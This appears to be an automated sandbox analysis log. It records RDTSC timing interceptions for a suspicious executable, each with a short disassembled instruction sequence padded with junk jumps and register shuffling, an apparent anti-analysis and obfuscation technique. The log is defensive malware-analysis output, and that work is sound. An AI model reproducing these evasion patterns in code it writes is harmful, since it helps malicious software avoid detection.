Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51309DD second address: 51309FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51309FA second address: 5130A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130A01 second address: 5130A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FADBC8905B2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130A1E second address: 5130A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB691Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130A30 second address: 512006C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007FADBC8905B6h 0x00000011 leave 0x00000012 jmp 00007FADBC8905B0h 0x00000017 retn 0004h 0x0000001a nop 0x0000001b sub esp, 04h 0x0000001e xor ebx, ebx 0x00000020 cmp eax, 00000000h 0x00000023 je 00007FADBC89070Ah 0x00000029 mov dword ptr [esp], 0000000Dh 0x00000030 call 00007FADC0D6C741h 0x00000035 mov edi, edi 0x00000037 jmp 00007FADBC8905AAh 0x0000003c xchg eax, ebp 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FADBC8905AEh 0x00000044 sbb cx, 6A38h 0x00000049 jmp 00007FADBC8905ABh 0x0000004e popfd 0x0000004f movzx esi, dx 0x00000052 popad 0x00000053 push eax 0x00000054 jmp 00007FADBC8905B2h 0x00000059 xchg eax, ebp 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007FADBC8905AEh 0x00000061 sbb esi, 350423C8h 0x00000067 jmp 00007FADBC8905ABh 0x0000006c popfd 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512006C second address: 512007B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512007B second address: 512008E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512008E second address: 51200BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FADBDAB691Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51200BD second address: 51200F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FADBC8905AEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FADBC8905ADh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51200F3 second address: 51200F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51200F7 second address: 51200FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51200FD second address: 5120114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB6923h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120114 second address: 5120118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120118 second address: 5120133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FADBDAB6920h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120133 second address: 5120172 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007FADBC8905ADh 0x0000000c or ecx, 7F4E3BC6h 0x00000012 jmp 00007FADBC8905B1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FADBC8905ADh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120172 second address: 5120199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FADBDAB6926h 0x0000000c xchg eax, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ecx, edi 0x00000012 mov ax, di 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51201CD second address: 51201F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c mov bl, 74h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51201F3 second address: 5120202 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub edi, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120202 second address: 5120206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120206 second address: 512020A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512020A second address: 5120210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120210 second address: 5120218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120218 second address: 512023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 inc ebx 0x00000008 jmp 00007FADBC8905B4h 0x0000000d test al, al 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512023B second address: 51202CC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FADBDAB6928h 0x00000008 xor ax, 45D8h 0x0000000d jmp 00007FADBDAB691Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FADBDAB6928h 0x0000001b and ecx, 26679038h 0x00000021 jmp 00007FADBDAB691Bh 0x00000026 popfd 0x00000027 popad 0x00000028 je 00007FADBDAB6B54h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FADBDAB691Bh 0x00000037 add eax, 69A58DFEh 0x0000003d jmp 00007FADBDAB6929h 0x00000042 popfd 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51202CC second address: 51202D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512040E second address: 5120414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120414 second address: 51204BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FAE2D38E605h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FADBC8905B4h 0x00000018 or eax, 689DD188h 0x0000001e jmp 00007FADBC8905ABh 0x00000023 popfd 0x00000024 mov si, B5FFh 0x00000028 popad 0x00000029 js 00007FADBC890619h 0x0000002f pushad 0x00000030 jmp 00007FADBC8905B0h 0x00000035 jmp 00007FADBC8905B2h 0x0000003a popad 0x0000003b cmp dword ptr [ebp-14h], edi 0x0000003e jmp 00007FADBC8905B0h 0x00000043 jne 00007FAE2D38E5A4h 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FADBC8905B7h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51204BC second address: 5120527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FADBDAB691Eh 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 pushad 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FADBDAB691Ch 0x0000001c or si, B638h 0x00000021 jmp 00007FADBDAB691Bh 0x00000026 popfd 0x00000027 mov ch, 44h 0x00000029 popad 0x0000002a call 00007FADBDAB6925h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120527 second address: 5120546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FADBC8905B4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120546 second address: 512054A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512054A second address: 5120550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120550 second address: 512056B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB691Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512056B second address: 512056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512056F second address: 5120575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120575 second address: 512057B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512057B second address: 512057F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512057F second address: 51205AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FADBC8905AAh 0x0000000e push eax 0x0000000f pushad 0x00000010 movsx edx, si 0x00000013 popad 0x00000014 nop 0x00000015 jmp 00007FADBC8905AFh 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov edi, ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51205AE second address: 51205D2 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 0E73FC3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov cx, 1F39h 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FADBDAB6921h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51205D2 second address: 51205D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120619 second address: 5120635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 mov ax, 9BD9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FADBDAB691Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120635 second address: 512063B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512063B second address: 512063F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 512063F second address: 5120643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120643 second address: 511063B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FAE2E5B4920h 0x0000000e xor eax, eax 0x00000010 jmp 00007FADBDA9004Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov esi, eax 0x00000022 xor ebx, ebx 0x00000024 cmp esi, 00000000h 0x00000027 je 00007FADBDAB6A55h 0x0000002d call 00007FADC1F82EFDh 0x00000032 mov edi, edi 0x00000034 jmp 00007FADBDAB6927h 0x00000039 xchg eax, ebp 0x0000003a jmp 00007FADBDAB6926h 0x0000003f push eax 0x00000040 jmp 00007FADBDAB691Bh 0x00000045 xchg eax, ebp 0x00000046 jmp 00007FADBDAB6926h 0x0000004b mov ebp, esp 0x0000004d jmp 00007FADBDAB6920h 0x00000052 xchg eax, ecx 0x00000053 jmp 00007FADBDAB6920h 0x00000058 push eax 0x00000059 jmp 00007FADBDAB691Bh 0x0000005e xchg eax, ecx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FADBDAB6925h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 511069D second address: 51106A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51106A1 second address: 51106A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120A3D second address: 5120AAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FADBC8905B8h 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov ebx, eax 0x00000011 movzx esi, bx 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 mov esi, edi 0x0000001a mov dx, 0A82h 0x0000001e popad 0x0000001f cmp dword ptr [75C7459Ch], 05h 0x00000026 jmp 00007FADBC8905B9h 0x0000002b je 00007FAE2D37E516h 0x00000031 jmp 00007FADBC8905AEh 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120AAA second address: 5120AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120AAE second address: 5120AB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120B1B second address: 5120B75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FADBDAB6919h 0x0000000e jmp 00007FADBDAB691Eh 0x00000013 push eax 0x00000014 jmp 00007FADBDAB691Bh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FADBDAB6924h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120B75 second address: 5120B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120B7C second address: 5120B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120B8B second address: 5120B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120B91 second address: 5120BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB6923h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120C11 second address: 5120C24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [ebp-1Ch], esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120C24 second address: 5120C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120C28 second address: 5120C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120C2E second address: 5120C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB6926h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120CB1 second address: 5120CE0 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test al, al 0x0000000a jmp 00007FADBC8905ABh 0x0000000f je 00007FAE2D374265h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FADBC8905B0h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120CE0 second address: 5120CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120CE4 second address: 5120CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120CEA second address: 5120D1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB691Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp+08h], 00002000h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FADBDAB6927h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5120D1C second address: 5120D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130AC8 second address: 5130ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB691Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130ADA second address: 5130B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FADBC8905B7h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FADBC8905B5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130B13 second address: 5130B45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FADBDAB6924h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FADBDAB691Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130B45 second address: 5130B5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130B5A second address: 5130B7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FADBDAB6927h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130B7F second address: 5130B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130B9C second address: 5130BC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d jmp 00007FADBDAB691Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130BC5 second address: 5130BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130BC9 second address: 5130C0F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FADBDAB691Eh 0x00000008 xor cx, EFB8h 0x0000000d jmp 00007FADBDAB691Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test esi, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bx, ABA6h 0x0000001f jmp 00007FADBDAB6927h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130C0F second address: 5130C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130C15 second address: 5130C19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130C19 second address: 5130C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FAE2D36DD3Ch 0x0000000e pushad 0x0000000f mov ecx, edi 0x00000011 pushfd 0x00000012 jmp 00007FADBC8905B9h 0x00000017 jmp 00007FADBC8905ABh 0x0000001c popfd 0x0000001d popad 0x0000001e cmp dword ptr [75C7459Ch], 05h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FADBC8905B5h 0x0000002c rdtsc
